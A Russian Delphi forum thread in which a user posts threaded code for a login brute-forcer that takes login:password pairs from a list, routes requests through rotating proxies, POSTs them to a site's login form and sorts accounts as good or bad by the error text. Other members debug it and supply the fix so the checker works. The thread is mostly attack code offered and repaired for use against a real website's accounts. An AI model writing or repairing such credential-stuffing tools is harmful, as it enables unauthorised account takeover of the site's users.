Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 01.02.2013, 15:11   #1
HELMOS
Пользователь
 
Регистрация: 30.01.2013
Сообщений: 13
Вопрос Проблемы с потоком

Код:

if Work then
    begin

     HTTP:=TIdHTTP.create(nil); //Создаём HTTP
     HTTP.HandleRedirects:=true; //Запрещаем редирект

     if Proxy.Text = '' then sleep(0) else //Если прокси не загружены, то ничего не делаем
     begin
     IP:= Copy(Proxy[CurAcc],1,Pos(':',Proxy[CurAcc])-1); //Копируем прокси
     Port:= Copy(Proxy[CurAcc],Pos(':',Proxy[CurAcc])+1,Length(Proxy[CurAcc])); //Копируем порт
     HTTP.ProxyParams.ProxyServer:=IP; //Вставляем прокси
     HTTP.ProxyParams.ProxyPort:=strtoint(Port); //Вставляем порт
     HTTP.ReadTimeout:=StrToInt(Form1.SpinEdit2.Text)*1000;
     HTTP.ConnectTimeout:=StrToInt(Form1.SpinEdit2.Text)*1000;

     end;


     if pos(':', Accounts[CurAcc])<>0 then begin
     FAcc:=Copy(Accounts[CurAcc], 1, Pos(':',Accounts[CurAcc])-1); //Копируем логин
      FPas:=Copy(Accounts[CurAcc], Pos(':', Accounts[CurAcc])+1, Length(Accounts[CurAcc])); //Копируем пароль

     end else begin //иначе
      FAcc:=Copy(Accounts[CurAcc], 1, Pos(';',Accounts[CurAcc])-1);
      FPas:=Copy(Accounts[CurAcc], Pos(';', Accounts[CurAcc])+1, Length(Accounts[CurAcc]));
    end;


data:=Tstringlist.create;
     data.Add('username='+FAcc);
     data.Add('password='+FPas);

   try
      HTTP.Post('ссылочка для брута', data);
      begin
       if Pos('Invalid Email or Password', PageData)>0 then
      Rez:=-1; //// БЭД

      end;

     except

     begin

       Rez:=0 ////Error


       end;
     end;

      end
      else
       begin
       Rez:=1; //Гуд
Софт должен подбирать пароли к сайту, то есть он заходит на сайт, отправляя Постом пасс и логин, после он должен искать на странице текст "Invalid Email or Password", разумеется если он находит данный текст, кидает аккаунт в БЭД (-1), если же нет такой строчки - ГУД (1), прочее ERROR (0). Проверьте пожалуйста правильность кода, т.к он стоит на месте и ничего не брутит
HELMOS вне форума Ответить с цитированием
Старый 01.02.2013, 15:29   #2
Delphi_ProGer
Форумчанин
 
Регистрация: 30.10.2010
Сообщений: 524
По умолчанию

Код:
 HTTP.HandleRedirects:=true; //Запрещаем редирект
всё наоборот)
Что-то мне не нравиться эта строка
Код:
if Proxy.Text = '' then sleep(0)
мне кажеться, через это поток и стоит
Delphi_ProGer вне форума Ответить с цитированием
Старый 01.02.2013, 15:37   #3
HELMOS
Пользователь
 
Регистрация: 30.01.2013
Сообщений: 13
По умолчанию

Цитата:
Сообщение от Delphi_ProGer Посмотреть сообщение
Код:
 HTTP.HandleRedirects:=true; //Запрещаем редирект
всё наоборот)
Что-то мне не нравиться эта строка
Код:
if Proxy.Text = '' then sleep(0)
мне кажеться, через это поток и стоит
Хмм.. Нет. Все так же стоит! Блин, в чем проблема то?
HELMOS вне форума Ответить с цитированием
Старый 01.02.2013, 15:44   #4
Delphi_ProGer
Форумчанин
 
Регистрация: 30.10.2010
Сообщений: 524
По умолчанию

Цитата:
Хмм.. Нет. Все так же стоит! Блин, в чем проблема то?
а я ничего в коде и не менял)))
Код:
 HTTP.Post('ссылочка для брута', data);
      begin
       if Pos('Invalid Email or Password', PageData)>0 then
Где там рписваиваеться PageData ответ от сервера??
Код:
PageData:=HTTP.Post('ссылочка для брута', data);
      begin
       if Pos('Invalid Email or Password', PageData)>0 then
Delphi_ProGer вне форума Ответить с цитированием
Старый 01.02.2013, 15:52   #5
HELMOS
Пользователь
 
Регистрация: 30.01.2013
Сообщений: 13
По умолчанию

Цитата:
Сообщение от Delphi_ProGer Посмотреть сообщение
а я ничего в коде и не менял)))
Код:
 HTTP.Post('ссылочка для брута', data);
      begin
       if Pos('Invalid Email or Password', PageData)>0 then
Где там рписваиваеться PageData ответ от сервера??
Код:
PageData:=HTTP.Post('ссылочка для брута', data);
      begin
       if Pos('Invalid Email or Password', PageData)>0 then
Содержимое страницы
HELMOS вне форума Ответить с цитированием
Старый 01.02.2013, 16:11   #6
Delphi_ProGer
Форумчанин
 
Регистрация: 30.10.2010
Сообщений: 524
По умолчанию

^ что именно вы хотели этим сказать?
Delphi_ProGer вне форума Ответить с цитированием
Старый 01.02.2013, 16:12   #7
HELMOS
Пользователь
 
Регистрация: 30.01.2013
Сообщений: 13
По умолчанию

PageData:string; - то есть хранит содержимое страницы!
HELMOS вне форума Ответить с цитированием
Старый 01.02.2013, 16:18   #8
Delphi_ProGer
Форумчанин
 
Регистрация: 30.10.2010
Сообщений: 524
По умолчанию

Цитата:
Сообщение от HELMOS Посмотреть сообщение
PageData:string; - то есть хранит содержимое страницы!
Да это я понял, но ведь нигде в коде у вас не видно, где вы присваиваете этой переменной ответ от сервера(Post запрос). В последствии, вы ищете фразу 'Invalid Email or Password' в пустой строке.

Последний раз редактировалось Delphi_ProGer; 01.02.2013 в 16:26.
Delphi_ProGer вне форума Ответить с цитированием
Старый 01.02.2013, 16:24   #9
HELMOS
Пользователь
 
Регистрация: 30.01.2013
Сообщений: 13
По умолчанию

Вот он, поток:

Код:
procedure TNewThread.Execute;
var CurAcc:integer;
    data:Tstringlist;
    HTTP: TIdHTTP;
    PageData:string; //Переменная где будет хранится код страницы
    i:integer;
begin
 while Work do
  begin
   CS.Enter;
   Inc(Acc);
   if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
   CS.Leave;

   if Work then
    begin

     HTTP:=TIdHTTP.create(nil); //Создаём HTTP
     HTTP.HandleRedirects:=false; //Запрещаем редирект

     if Proxy.Text = '' then sleep(0) else //Если прокси не загружены, то ничего не делаем
     begin
     IP:= Copy(Proxy[CurAcc],1,Pos(':',Proxy[CurAcc])-1); //Копируем прокси
     Port:= Copy(Proxy[CurAcc],Pos(':',Proxy[CurAcc])+1,Length(Proxy[CurAcc])); //Копируем порт
     HTTP.ProxyParams.ProxyServer:=IP; //Вставляем прокси
     HTTP.ProxyParams.ProxyPort:=strtoint(Port); //Вставляем порт
     HTTP.ReadTimeout:=StrToInt(Form1.SpinEdit2.Text)*1000;
     HTTP.ConnectTimeout:=StrToInt(Form1.SpinEdit2.Text)*1000;

     end;


     if pos(':', Accounts[CurAcc])<>0 then begin
     FAcc:=Copy(Accounts[CurAcc], 1, Pos(':',Accounts[CurAcc])-1); //Копируем логин
      FPas:=Copy(Accounts[CurAcc], Pos(':', Accounts[CurAcc])+1, Length(Accounts[CurAcc])); //Копируем пароль

     end else begin //иначе
      FAcc:=Copy(Accounts[CurAcc], 1, Pos(';',Accounts[CurAcc])-1);
      FPas:=Copy(Accounts[CurAcc], Pos(';', Accounts[CurAcc])+1, Length(Accounts[CurAcc]));
    end;

     data:=Tstringlist.create;
     data.Add('username='+FAcc);
     data.Add('password='+FPas);

   try
      HTTP.Post('Та самая ссылка :D', data);
       if Pos('Invalid Email or Password', PageData)>0 then
      Rez:=-1; ///БЭД

     except

     begin

     end;
     end;

       Rez:=0 //ERROR

      end
      else
       begin
       Rez:=1; //ГУД

Все "пометил", думаю теперь вам понятно.
HELMOS вне форума Ответить с цитированием
Старый 01.02.2013, 16:28   #10
bakanaev
Форумчанин
 
Регистрация: 27.03.2012
Сообщений: 438
По умолчанию

Код:
 PageData:=HTTP.Post('Та самая ссылка :D', data);
       if Pos('Invalid Email or Password', PageData)>0 then
bakanaev вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Проблема с потоком! vovken1997 Общие вопросы Delphi 2 12.04.2012 21:21
Проблемы с потоком spydark91 Общие вопросы Delphi 38 23.06.2011 16:23
Работа с потоком Yur@ Общие вопросы Delphi 3 02.06.2011 12:46
Проблема с потоком Araver Общие вопросы Delphi 4 16.10.2007 04:30